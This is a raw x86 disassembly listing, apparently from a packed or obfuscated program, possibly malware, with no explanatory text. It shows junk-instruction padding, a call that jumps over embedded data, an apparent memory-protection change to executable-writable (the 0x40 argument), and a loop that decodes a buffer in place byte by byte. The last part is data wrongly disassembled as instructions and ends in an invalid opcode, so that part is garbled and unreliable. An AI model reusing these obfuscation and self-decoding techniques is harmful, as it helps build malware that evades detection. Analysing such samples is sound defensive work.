mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x5f562d
mov dword [ebp - 0xc6c], 0
jmp 0x5f569c
push ebx
jmp 0x5f5637
pop ebx
push esi
sub esi, 0x14896
add esi, 0x1537a
sub esi, 0xae37
or esi, 0xdf7b
pop esi
push edx
or edx, 0x3e17
jmp 0x5f565e
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x5f5692
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x5f569c
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x5f56b3
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x5f56c4
jmp 0x5f549d
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
jmp 0x5f56d8
jmp 0x5f56df
call 0x5f56ed
add byte [edi + 0x49], al
cmp al, 0x45
dec ecx
inc edx
cmp eax, dword ds:[ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
inc esi
xor cl, byte [ebx + edi + 0x4a]
dec edi
dec ebp
add esp, 4
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x5f5775
push eax
push ebx
add esp, 4
or eax, 0x1868b
and eax, 0x6d89
add eax, 0x7d8b
or eax, 0x13080
pop eax
push esi
add esi, 0x68c4
add esi, 0x4298
sub esi, 0x172b8
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x5f5792
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x5f57ee
push eax
and eax, 0x5c9
add eax, 0x3c7
xor eax, 0x18697
pop eax
push edi
push esi
add esp, 4
or edi, 0x15e27
xor edi, 0x3129
sub edi, 0x10d79
or edi, 0x1396b
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x5f5783
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x5f5866
push edx
sub edx, 0x7e37
or edx, 0x887f
and edx, 0x11ba4
sub edx, 0xc194
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x25ce
sub ebx, 0xc8
and ebx, 0xe3ea
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edi
sub edi, 0x12ede
jmp 0x5f5876
call 0x5f5882
add byte [edi + 0x3e], cl
inc ebp
dec esi
inc edi
xor al, byte [ebx - 0x307efb3c]
stosb byte es:[edi], al
fld dword [eax]
add byte [edi + 0x51], bl
push eax
add esp, 4
xor ecx, 0xe29
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
push esp
pop edx
xchg bh, al
pop es
test ah, al
dec edi
popal
add eax, dword [ebx]
test ah, dh
imul eax, esp, 0x555c0303
test ch, al
fnstcw word [edi + 3]
add ebp, esi
push es
cmp eax, 0x5a5d3742
jmp 0x5f58d4
xchg bh, al
pop es
bound edi, qword [ebp + 0x303036e]
imul ecx, dword [eax + ebx*4 + 0x202ecbf], 0x30368bb
add ebp, dword [ecx - 0x74]
mov cl, al
in al, dx
add al, byte [edx]
mov esp, 0x3030375
imul ecx, dword [eax + edx*4 + 0x202ecc3], 0x30371bd
add ebp, dword [ecx - 0x74]
cwde
invalid